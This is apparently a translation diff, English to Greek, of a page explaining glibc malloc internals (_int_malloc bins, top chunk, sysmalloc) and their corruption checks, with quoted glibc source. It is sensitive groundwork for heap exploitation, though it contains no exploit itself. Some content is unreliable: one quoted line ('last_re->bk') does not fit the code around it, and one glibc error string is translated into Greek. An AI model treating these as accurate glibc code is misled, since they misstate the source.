-#### if `in_smallbin_range` +#### αν `in_smallbin_range` -If the chunk is bigger than the requested size use it, and set the rest of the chunk space into the unsorted list and update the `last_remainder` with it. +Αν το κομμάτι είναι μεγαλύτερο από το ζητούμενο μέγεθος, χρησιμοποίησέ το και τοποθέτησε το υπόλοιπο του κομματιού στη μη ταξινομημένη λίστα και ενημέρωσε το `last_remainder` με αυτό.
-_int_malloc unsorted bin in_smallbin_range - +_int_malloc μη ταξινομημένη δεξαμενή in_smallbin_range ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14 /* - If a small request, try to use last remainder if it is the - only chunk in unsorted bin. This helps promote locality for - runs of consecutive small requests. This is the only - exception to best-fit, and applies only when there is - no exact fit for a small chunk. - */ +If a small request, try to use last remainder if it is the +only chunk in unsorted bin. This helps promote locality for +runs of consecutive small requests. This is the only +exception to best-fit, and applies only when there is +no exact fit for a small chunk. +*/ - if (in_smallbin_range (nb) && - bck == unsorted_chunks (av) && - victim == av->last_remainder && - (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) - { - /* split and reattach remainder */ - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; - av->last_remainder = remainder; - remainder->bk = remainder->fd = unsorted_chunks (av); - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } +if (in_smallbin_range (nb) && +bck == unsorted_chunks (av) && +victim == av->last_remainder && +(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) +{ +/* split and reattach remainder */ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; +av->last_remainder = remainder; +remainder->bk = remainder->fd = unsorted_chunks (av); +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} ``` -
-If this was successful, return the chunk ant it's over, if not, continue executing the function... +Αν αυτό ήταν επιτυχές, επιστρέψτε το κομμάτι και τελειώστε, αν όχι, συνεχίστε την εκτέλεση της συνάρτησης... -#### if equal size +#### αν ίσες διαστάσεις -Continue removing the chunk from the bin, in case the requested size is exactly the one of the chunk: +Συνεχίστε να αφαιρείτε το κομμάτι από το bin, σε περίπτωση που το ζητούμενο μέγεθος είναι ακριβώς το ίδιο με αυτό του κομματιού: -- If the tcache is not filled, add it to the tcache and continue indicating that there is a tcache chunk that could be used -- If tcache is full, just use it returning it +- Αν το tcache δεν είναι γεμάτο, προσθέστε το στο tcache και συνεχίστε υποδεικνύοντας ότι υπάρχει ένα κομμάτι tcache που θα μπορούσε να χρησιμοποιηθεί +- Αν το tcache είναι γεμάτο, απλώς χρησιμοποιήστε το επιστρέφοντάς το
_int_malloc unsorted bin equal size - ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14 /* remove from unsorted list */ - unsorted_chunks (av)->bk = bck; - bck->fd = unsorted_chunks (av); +unsorted_chunks (av)->bk = bck; +bck->fd = unsorted_chunks (av); - /* Take now instead of binning if exact fit */ +/* Take now instead of binning if exact fit */ - if (size == nb) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); +if (size == nb) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); #if USE_TCACHE - /* Fill cache first, return to user only if cache fills. - We may return one of these chunks later. */ - if (tcache_nb > 0 - && tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (victim, tc_idx); - return_cached = 1; - continue; - } - else - { +/* Fill cache first, return to user only if cache fills. +We may return one of these chunks later. */ +if (tcache_nb > 0 +&& tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (victim, tc_idx); +return_cached = 1; +continue; +} +else +{ #endif - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; #if USE_TCACHE - } +} #endif - } +} ``` -
-If chunk not returned or added to tcache, continue with the code... +Αν το chunk δεν επιστραφεί ή δεν προστεθεί στο tcache, συνεχίστε με τον κώδικα... -#### place chunk in a bin +#### τοποθέτηση chunk σε ένα bin -Store the checked chunk in the small bin or in the large bin according to the size of the chunk (keeping the large bin properly organized). +Αποθηκεύστε το ελεγμένο chunk στο μικρό bin ή στο μεγάλο bin ανάλογα με το μέγεθος του chunk (διατηρώντας το μεγάλο bin σωστά οργανωμένο). -There are security checks being performed to make sure both large bin doubled linked list are corrupted: +Γίνονται έλεγχοι ασφαλείας για να διασφαλιστεί ότι και οι δύο διπλές συνδέσεις της λίστας του μεγάλου bin είναι κατεστραμμένες: -- If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` -- If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)` +- Αν `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` +- Αν `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc place chunk in a bin - +_int_malloc τοποθέτηση chunk σε ένα bin ```c /* place chunk in bin */ - if (in_smallbin_range (size)) - { - victim_index = smallbin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; - } - else - { - victim_index = largebin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; +if (in_smallbin_range (size)) +{ +victim_index = smallbin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; +} +else +{ +victim_index = largebin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; - /* maintain large bins in sorted order */ - if (fwd != bck) - { - /* Or with inuse bit to speed comparisons */ - size |= PREV_INUSE; - /* if smaller than smallest, bypass loop below */ - assert (chunk_main_arena (bck->bk)); - if ((unsigned long) (size) - < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; - bck = bck->bk; +/* maintain large bins in sorted order */ +if (fwd != bck) +{ +/* Or with inuse bit to speed comparisons */ +size |= PREV_INUSE; +/* if smaller than smallest, bypass loop below */ +assert (chunk_main_arena (bck->bk)); +if ((unsigned long) (size) +< (unsigned long) chunksize_nomask (bck->bk)) +{ +fwd = bck; +bck = bck->bk; - victim->fd_nextsize = fwd->fd; - victim->bk_nextsize = fwd->fd->bk_nextsize; - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; - } - else - { - assert (chunk_main_arena (fwd)); - while ((unsigned long) size < chunksize_nomask (fwd)) - { - fwd = fwd->fd_nextsize; - assert (chunk_main_arena (fwd)); - } +victim->fd_nextsize = fwd->fd; +victim->bk_nextsize = fwd->fd->bk_nextsize; +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; +} +else +{ +assert (chunk_main_arena (fwd)); +while ((unsigned long) size < chunksize_nomask (fwd)) +{ +fwd = fwd->fd_nextsize; +assert (chunk_main_arena (fwd)); +} - if ((unsigned long) size - == (unsigned long) chunksize_nomask (fwd)) - /* Always insert in the second position. */ - fwd = fwd->fd; - else - { - victim->fd_nextsize = fwd; - victim->bk_nextsize = fwd->bk_nextsize; - if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) - malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); - fwd->bk_nextsize = victim; - victim->bk_nextsize->fd_nextsize = victim; - } - bck = fwd->bk; - if (bck->fd != fwd) - malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); - } - } - else - victim->fd_nextsize = victim->bk_nextsize = victim; - } +if ((unsigned long) size +== (unsigned long) chunksize_nomask (fwd)) +/* Always insert in the second position. */ +fwd = fwd->fd; +else +{ +victim->fd_nextsize = fwd; +victim->bk_nextsize = fwd->bk_nextsize; +if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) +malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); +fwd->bk_nextsize = victim; +victim->bk_nextsize->fd_nextsize = victim; +} +bck = fwd->bk; +if (bck->fd != fwd) +malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); +} +} +else +victim->fd_nextsize = victim->bk_nextsize = victim; +} - mark_bin (av, victim_index); - victim->bk = bck; - victim->fd = fwd; - fwd->bk = victim; - bck->fd = victim; +mark_bin (av, victim_index); +victim->bk = bck; +victim->fd = fwd; +fwd->bk = victim; +bck->fd = victim; ``` -
-#### `_int_malloc` limits +#### `_int_malloc` όρια -At this point, if some chunk was stored in the tcache that can be used and the limit is reached, just **return a tcache chunk**. +Σε αυτό το σημείο, αν κάποιο κομμάτι αποθηκεύτηκε στο tcache που μπορεί να χρησιμοποιηθεί και το όριο έχει επιτευχθεί, απλά **επιστρέφει ένα κομμάτι tcache**. -Moreover, if **MAX_ITERS** is reached, break from the loop for and get a chunk in a different way (top chunk). +Επιπλέον, αν **MAX_ITERS** έχει επιτευχθεί, σπάστε από τον βρόχο και αποκτήστε ένα κομμάτι με διαφορετικό τρόπο (top chunk). -If `return_cached` was set, just return a chunk from the tcache to avoid larger searches. +Αν το `return_cached` έχει οριστεί, απλά επιστρέψτε ένα κομμάτι από το tcache για να αποφύγετε μεγαλύτερες αναζητήσεις.
-_int_malloc limits - +_int_malloc όρια ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 #if USE_TCACHE - /* If we've processed as many chunks as we're allowed while - filling the cache, return one of the cached ones. */ - ++tcache_unsorted_count; - if (return_cached - && mp_.tcache_unsorted_limit > 0 - && tcache_unsorted_count > mp_.tcache_unsorted_limit) - { - return tcache_get (tc_idx); - } +/* If we've processed as many chunks as we're allowed while +filling the cache, return one of the cached ones. */ +++tcache_unsorted_count; +if (return_cached +&& mp_.tcache_unsorted_limit > 0 +&& tcache_unsorted_count > mp_.tcache_unsorted_limit) +{ +return tcache_get (tc_idx); +} #endif #define MAX_ITERS 10000 - if (++iters >= MAX_ITERS) - break; - } +if (++iters >= MAX_ITERS) +break; +} #if USE_TCACHE - /* If all the small chunks we found ended up cached, return one now. */ - if (return_cached) - { - return tcache_get (tc_idx); - } +/* If all the small chunks we found ended up cached, return one now. */ +if (return_cached) +{ +return tcache_get (tc_idx); +} #endif ``` -
-If limits not reached, continue with the code... +Αν δεν έχουν φτάσει τα όρια, συνεχίστε με τον κώδικα... -### Large Bin (by index) +### Μεγάλο Bin (κατά δείκτη) -If the request is large (not in small bin) and we haven't yet returned any chunk, get the **index** of the requested size in the **large bin**, check if **not empty** of if the **biggest chunk in this bin is bigger** than the requested size and in that case find the **smallest chunk that can be used** for the requested size. +Αν το αίτημα είναι μεγάλο (όχι σε μικρό bin) και δεν έχουμε επιστρέψει ακόμα κανένα κομμάτι, πάρτε τον **δείκτη** του ζητούμενου μεγέθους στο **μεγάλο bin**, ελέγξτε αν **δεν είναι κενό** ή αν το **μεγαλύτερο κομμάτι σε αυτό το bin είναι μεγαλύτερο** από το ζητούμενο μέγεθος και σε αυτή την περίπτωση βρείτε το **μικρότερο κομμάτι που μπορεί να χρησιμοποιηθεί** για το ζητούμενο μέγεθος. -If the reminder space from the finally used chunk can be a new chunk, add it to the unsorted bin and the lsast_reminder is updated. +Αν ο υπόλοιπος χώρος από το τελικά χρησιμοποιούμενο κομμάτι μπορεί να είναι ένα νέο κομμάτι, προσθέστε το στο αταξινόμητο bin και το last_reminder ενημερώνεται. -A security check is made when adding the reminder to the unsorted bin: +Μια έλεγχος ασφαλείας γίνεται κατά την προσθήκη του υπολοίπου στο αταξινόμητο bin: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
-_int_malloc Large bin (by index) - +_int_malloc Μεγάλο bin (κατά δείκτη) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10 /* - If a large request, scan through the chunks of current bin in - sorted order to find smallest that fits. Use the skip list for this. - */ +If a large request, scan through the chunks of current bin in +sorted order to find smallest that fits. Use the skip list for this. +*/ - if (!in_smallbin_range (nb)) - { - bin = bin_at (av, idx); +if (!in_smallbin_range (nb)) +{ +bin = bin_at (av, idx); - /* skip scan if empty or largest chunk is too small */ - if ((victim = first (bin)) != bin - && (unsigned long) chunksize_nomask (victim) - >= (unsigned long) (nb)) - { - victim = victim->bk_nextsize; - while (((unsigned long) (size = chunksize (victim)) < - (unsigned long) (nb))) - victim = victim->bk_nextsize; +/* skip scan if empty or largest chunk is too small */ +if ((victim = first (bin)) != bin +&& (unsigned long) chunksize_nomask (victim) +>= (unsigned long) (nb)) +{ +victim = victim->bk_nextsize; +while (((unsigned long) (size = chunksize (victim)) < +(unsigned long) (nb))) +victim = victim->bk_nextsize; - /* Avoid removing the first entry for a size so that the skip - list does not have to be rerouted. */ - if (victim != last (bin) - && chunksize_nomask (victim) - == chunksize_nomask (victim->fd)) - victim = victim->fd; +/* Avoid removing the first entry for a size so that the skip +list does not have to be rerouted. */ +if (victim != last (bin) +&& chunksize_nomask (victim) +== chunksize_nomask (victim->fd)) +victim = victim->fd; - remainder_size = size - nb; - unlink_chunk (av, victim); +remainder_size = size - nb; +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks"); - last_re->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks"); +last_re->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
-If a chunk isn't found suitable for this, continue +Αν δεν βρεθεί κατάλληλο chunk για αυτό, συνεχίστε -### Large Bin (next bigger) +### Μεγάλο Bin (επόμενο μεγαλύτερο) -If in the exact large bin there wasn't any chunk that could be used, start looping through all the next large bin (starting y the immediately larger) until one is found (if any). +Αν στο ακριβές μεγάλο bin δεν υπήρχε κανένα chunk που να μπορεί να χρησιμοποιηθεί, αρχίστε να επαναλαμβάνετε όλα τα επόμενα μεγάλα bin (ξεκινώντας από το αμέσως μεγαλύτερο) μέχρι να βρεθεί ένα (αν υπάρχει). -The reminder of the split chunk is added in the unsorted bin, last_reminder is updated and the same security check is performed: +Το υπόλοιπο του διαχωρισμένου chunk προστίθεται στο αταξινόμητο bin, το last_reminder ενημερώνεται και η ίδια έλεγχος ασφαλείας εκτελείται: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
-_int_malloc Large bin (next bigger) - +_int_malloc Μεγάλο bin (επόμενο μεγαλύτερο) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10 /* - Search for a chunk by scanning bins, starting with next largest - bin. This search is strictly by best-fit; i.e., the smallest - (with ties going to approximately the least recently used) chunk - that fits is selected. +Search for a chunk by scanning bins, starting with next largest +bin. This search is strictly by best-fit; i.e., the smallest +(with ties going to approximately the least recently used) chunk +that fits is selected. - The bitmap avoids needing to check that most blocks are nonempty. - The particular case of skipping all bins during warm-up phases - when no chunks have been returned yet is faster than it might look. - */ +The bitmap avoids needing to check that most blocks are nonempty. +The particular case of skipping all bins during warm-up phases +when no chunks have been returned yet is faster than it might look. +*/ - ++idx; - bin = bin_at (av, idx); - block = idx2block (idx); - map = av->binmap[block]; - bit = idx2bit (idx); +++idx; +bin = bin_at (av, idx); +block = idx2block (idx); +map = av->binmap[block]; +bit = idx2bit (idx); - for (;; ) - { - /* Skip rest of block if there are no more set bits in this block. */ - if (bit > map || bit == 0) - { - do - { - if (++block >= BINMAPSIZE) /* out of bins */ - goto use_top; - } - while ((map = av->binmap[block]) == 0); +for (;; ) +{ +/* Skip rest of block if there are no more set bits in this block. */ +if (bit > map || bit == 0) +{ +do +{ +if (++block >= BINMAPSIZE) /* out of bins */ +goto use_top; +} +while ((map = av->binmap[block]) == 0); - bin = bin_at (av, (block << BINMAPSHIFT)); - bit = 1; - } +bin = bin_at (av, (block << BINMAPSHIFT)); +bit = 1; +} - /* Advance to bin with set bit. There must be one. */ - while ((bit & map) == 0) - { - bin = next_bin (bin); - bit <<= 1; - assert (bit != 0); - } +/* Advance to bin with set bit. There must be one. */ +while ((bit & map) == 0) +{ +bin = next_bin (bin); +bit <<= 1; +assert (bit != 0); +} - /* Inspect the bin. It is likely to be non-empty */ - victim = last (bin); +/* Inspect the bin. It is likely to be non-empty */ +victim = last (bin); - /* If a false alarm (empty bin), clear the bit. */ - if (victim == bin) - { - av->binmap[block] = map &= ~bit; /* Write through */ - bin = next_bin (bin); - bit <<= 1; - } +/* If a false alarm (empty bin), clear the bit. */ +if (victim == bin) +{ +av->binmap[block] = map &= ~bit; /* Write through */ +bin = next_bin (bin); +bit <<= 1; +} - else - { - size = chunksize (victim); +else +{ +size = chunksize (victim); - /* We know the first chunk in this bin is big enough to use. */ - assert ((unsigned long) (size) >= (unsigned long) (nb)); +/* We know the first chunk in this bin is big enough to use. */ +assert ((unsigned long) (size) >= (unsigned long) (nb)); - remainder_size = size - nb; +remainder_size = size - nb; - /* unlink */ - unlink_chunk (av, victim); +/* unlink */ +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks 2"); - remainder->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks 2"); +remainder->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; - /* advertise as last remainder */ - if (in_smallbin_range (nb)) - av->last_remainder = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* advertise as last remainder */ +if (in_smallbin_range (nb)) +av->last_remainder = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
-### Top Chunk +### Κορυφαίο Chunk -At this point, it's time to get a new chunk from the Top chunk (if big enough). +Σε αυτό το σημείο, είναι ώρα να αποκτήσουμε ένα νέο chunk από το Κορυφαίο chunk (αν είναι αρκετά μεγάλο). -It starts with a security check making sure that the size of the chunk size is not too big (corrupted): +Ξεκινά με έναν έλεγχο ασφαλείας για να διασφαλίσει ότι το μέγεθος του chunk δεν είναι πολύ μεγάλο (κατεστραμμένο): -- `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size` +- `chunksize(av->top) > av->system_mem`: `malloc(): κατεστραμμένο μέγεθος κορυφής` -Then, it'll use the top chunk space if it's large enough to create a chunk of the requested size.\ -If not, if there are fast chunks, consolidate them and try again.\ -Finally, if not enough space use `sysmalloc` to allocate enough size. +Στη συνέχεια, θα χρησιμοποιήσει τον χώρο του κορυφαίου chunk αν είναι αρκετά μεγάλος για να δημιουργήσει ένα chunk του ζητούμενου μεγέθους.\ +Αν όχι, αν υπάρχουν γρήγορα chunks, συγχωνεύστε τα και δοκιμάστε ξανά.\ +Τέλος, αν δεν υπάρχει αρκετός χώρος, χρησιμοποιήστε `sysmalloc` για να εκχωρήσετε αρκετό μέγεθος.
-_int_malloc Top chunk - +_int_malloc Κορυφαίο chunk ```c use_top: - /* - If large enough, split off the chunk bordering the end of memory - (held in av->top). Note that this is in accord with the best-fit - search rule. In effect, av->top is treated as larger (and thus - less well fitting) than any other available chunk since it can - be extended to be as large as necessary (up to system - limitations). +/* +If large enough, split off the chunk bordering the end of memory +(held in av->top). Note that this is in accord with the best-fit +search rule. In effect, av->top is treated as larger (and thus +less well fitting) than any other available chunk since it can +be extended to be as large as necessary (up to system +limitations). - We require that av->top always exists (i.e., has size >= - MINSIZE) after initialization, so if it would otherwise be - exhausted by current request, it is replenished. (The main - reason for ensuring it exists is that we may need MINSIZE space - to put in fenceposts in sysmalloc.) - */ +We require that av->top always exists (i.e., has size >= +MINSIZE) after initialization, so if it would otherwise be +exhausted by current request, it is replenished. (The main +reason for ensuring it exists is that we may need MINSIZE space +to put in fenceposts in sysmalloc.) +*/ - victim = av->top; - size = chunksize (victim); +victim = av->top; +size = chunksize (victim); - if (__glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): corrupted top size"); +if (__glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): corrupted top size"); - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - av->top = remainder; - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +av->top = remainder; +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} - /* When we are using atomic ops to free fast chunks we can get - here for all block sizes. */ - else if (atomic_load_relaxed (&av->have_fastchunks)) - { - malloc_consolidate (av); - /* restore original bin index */ - if (in_smallbin_range (nb)) - idx = smallbin_index (nb); - else - idx = largebin_index (nb); - } +/* When we are using atomic ops to free fast chunks we can get +here for all block sizes. */ +else if (atomic_load_relaxed (&av->have_fastchunks)) +{ +malloc_consolidate (av); +/* restore original bin index */ +if (in_smallbin_range (nb)) +idx = smallbin_index (nb); +else +idx = largebin_index (nb); +} - /* - Otherwise, relay to handle system-dependent cases - */ - else - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } - } +/* +Otherwise, relay to handle system-dependent cases +*/ +else +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} +} } ``` -
## sysmalloc -### sysmalloc start +### sysmalloc αρχή -If arena is null or the requested size is too big (and there are mmaps left permitted) use `sysmalloc_mmap` to allocate space and return it. +Αν η αρένα είναι null ή το ζητούμενο μέγεθος είναι πολύ μεγάλο (και υπάρχουν mmaps που επιτρέπονται) χρησιμοποίησε `sysmalloc_mmap` για να δεσμεύσεις χώρο και να τον επιστρέψεις.
-sysmalloc start - +sysmalloc αρχή ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531 /* - sysmalloc handles malloc cases requiring more memory from the system. - On entry, it is assumed that av->top does not have enough - space to service request for nb bytes, thus requiring that av->top - be extended or replaced. - */ +sysmalloc handles malloc cases requiring more memory from the system. +On entry, it is assumed that av->top does not have enough +space to service request for nb bytes, thus requiring that av->top +be extended or replaced. +*/ - static void * +static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av) { - mchunkptr old_top; /* incoming value of av->top */ - INTERNAL_SIZE_T old_size; /* its size */ - char *old_end; /* its end address */ +mchunkptr old_top; /* incoming value of av->top */ +INTERNAL_SIZE_T old_size; /* its size */ +char *old_end; /* its end address */ - long size; /* arg to first MORECORE or mmap call */ - char *brk; /* return value from MORECORE */ +long size; /* arg to first MORECORE or mmap call */ +char *brk; /* return value from MORECORE */ - long correction; /* arg to 2nd MORECORE call */ - char *snd_brk; /* 2nd return val */ +long correction; /* arg to 2nd MORECORE call */ +char *snd_brk; /* 2nd return val */ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ - char *aligned_brk; /* aligned offset into brk */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ +char *aligned_brk; /* aligned offset into brk */ - mchunkptr p; /* the allocated/returned chunk */ - mchunkptr remainder; /* remainder from allocation */ - unsigned long remainder_size; /* its size */ +mchunkptr p; /* the allocated/returned chunk */ +mchunkptr remainder; /* remainder from allocation */ +unsigned long remainder_size; /* its size */ - size_t pagesize = GLRO (dl_pagesize); - bool tried_mmap = false; +size_t pagesize = GLRO (dl_pagesize); +bool tried_mmap = false; - /* - If have mmap, and the request size meets the mmap threshold, and - the system supports mmap, and there are few enough currently - allocated mmapped regions, try to directly map this request - rather than expanding top. - */ +/* +If have mmap, and the request size meets the mmap threshold, and +the system supports mmap, and there are few enough currently +allocated mmapped regions, try to directly map this request +rather than expanding top. +*/ - if (av == NULL - || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) - && (mp_.n_mmaps < mp_.n_mmaps_max))) - { - char *mm; - if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) - { - /* There is no need to issue the THP madvise call if Huge Pages are - used directly. */ - mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); - if (mm != MAP_FAILED) - return mm; - } - mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - tried_mmap = true; - } +if (av == NULL +|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) +&& (mp_.n_mmaps < mp_.n_mmaps_max))) +{ +char *mm; +if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) +{ +/* There is no need to issue the THP madvise call if Huge Pages are +used directly. */ +mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); +if (mm != MAP_FAILED) +return mm; +} +mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +tried_mmap = true; +} - /* There are no usable arenas and mmap also failed. */ - if (av == NULL) - return 0; +/* There are no usable arenas and mmap also failed. */ +if (av == NULL) +return 0; ``` -
